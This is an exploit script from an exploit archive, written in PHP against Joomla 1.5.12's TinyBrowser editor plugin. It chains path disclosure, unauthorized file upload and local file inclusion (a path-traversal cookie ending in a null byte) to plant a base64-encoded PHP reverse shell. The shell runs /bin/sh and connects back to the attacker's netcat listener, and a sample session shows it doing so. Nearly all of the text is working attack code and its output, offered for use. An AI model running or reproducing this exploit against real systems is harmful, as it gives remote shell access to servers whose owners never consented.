Joomla 1.5.12 connect back exploit

==================================
Joomla 1.5.12 connect back exploit
==================================

#!/usr/bin/php
<?php
/*
    Copyright (c) ITIX LTD
 
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
 
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
 
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
    TITLE:      Joomla 1.5.12 connect back exploit
    AUTHOR:     Nikola Petrov ([email protected])
    VERSION:    1.0
    LICENSE:    GNU General Public License
 
    Platform: Joomla 1.5.12
    Vulnerabilities discovery and implementation: Nikola Petrov 
    Date: 27.08.2009
 
    Joomla 1.5.12 suffers from different kinds of vulnerabilities:
        - path disclosure
        - unauthorized file upload
        - local file inclusion
  
    I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
    that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
    but these are enough to get a connection back from the server.
 
    Path disclosure: joomla/libraries/joomla/client/ldap.php
    Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
    Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php
 
    Here is the LFI vulnerability:
    -- snip-snip: folders.php --
    <?php
        require_once('config_tinybrowser.php');
        // Set language
 
        if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
            require_once('langs/'.$tinybrowser['language'].'.php');
        }
        else {
            require_once('langs/en.php'); // Falls back to English
        }
        ...
    -- snip-snip --
 
    [[email protected] 1.5.12]$ ./jtiny-1-5-12.php localhost 80 / localhost 9090
 
    [+] web root: /var/www/html
    [+] tinybrowser secret: s0merand0mjunk!!!111
    [+] Shell successfully uploaded.
    [+] Executing shell...
    [[email protected] 1.5.12]$
 
    [[email protected] /]$ nc -vvv -l 9090
    Connection from 127.0.0.1 port 9090 [tcp/websm] accepted
    id && uname -a
    uid=48(apache) gid=48(apache) groups=48(apache)
    Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux
    exit
    [[email protected] /]$
*/
 
    if($argc < 6) {
        print "\tvulnerabilities discovery and implementation: Nikola Petrov ([email protected])\n";
        print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n";
        print "\texample: jtiny-1-5-12.php localhost 80 / localhost 9090\n\n";
        exit();
    }
 
    $RemoteHost = $argv[1];
    $RemotePort = $argv[2];
    $RemotePath = $argv[3];
    $LocalAddress   = $argv[4];
    $LocalPort  = $argv[5];
 
    if($argc == 7) $RemoteDocRoot = $argv[6];
    else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath);
 
    if($argc == 8) $Secret = $argv[7];
    else $Secret = "s0merand0mjunk!!!111";
 
    print "[+] web root: $RemoteDocRoot\n";
    print "[+] tinybrowser secret: $Secret\n";
 
    $Shell =
        "PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz".
        "cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ".
        "QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi".
        "dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh".
        "bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv".
        "cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v".
        "c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy".
        "YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp".
        "KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07".
        "CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo".
        "aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s".
        "JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws".
        "ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW".
        "KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk".
        "UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl".
        "aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh".
        "ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF".
        "KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp".
        "KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ".
        "TykpIGV4aXQ7CgkJfQoJfQo/Pgo=";
 
    $File = fopen("./_shell", "w") or die("Cannot open: ./_shell");
    fwrite($File, base64_decode($Shell));
    fclose($File);
 
    #print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n";
    if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) {
        print "[-] Cannot upload shell.\n\n";
        unlink("_shell");
        exit();
    }
    else print "[+] Shell successfully uploaded.\n";
    unlink("_shell");
 
    print "[+] Executing shell...\n";
    shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort);
 
    function getRemoteDocRoot($aRemoteHost, $aRemotePath) {
        $Client = curl_init();
 
        curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php");
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
 
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n";
            exit();
        }
 
 
        curl_close($Client);
 
        $Step1 = strpos($Response, "not found in <b>") + 16;
        $Step2 = strpos($Response, "/libraries/joomla/");
 
        if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath));
        else return substr($Response, $Step1, $Step2 - $Step1);
    }
 
    function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) {
        $Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass=");
 
        curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath"));
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1);
 
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] uploadFile() recieved http code $HttpCode.\n";
            exit();
        }
 
        curl_close($Client);
 
        return strpos($Response, "File Upload Success");
    }
 
    function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) {
        $Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00";
 
        $VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort";
 
 
        $Client = curl_init();
 
        curl_setopt($Client, CURLOPT_URL, $VulnerableFile);
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
        curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell");
 
        $Response = curl_exec($Client);
        curl_close($Client);
 
        print $Response;
    }
?>



#  0day.today [2018-01-02]  #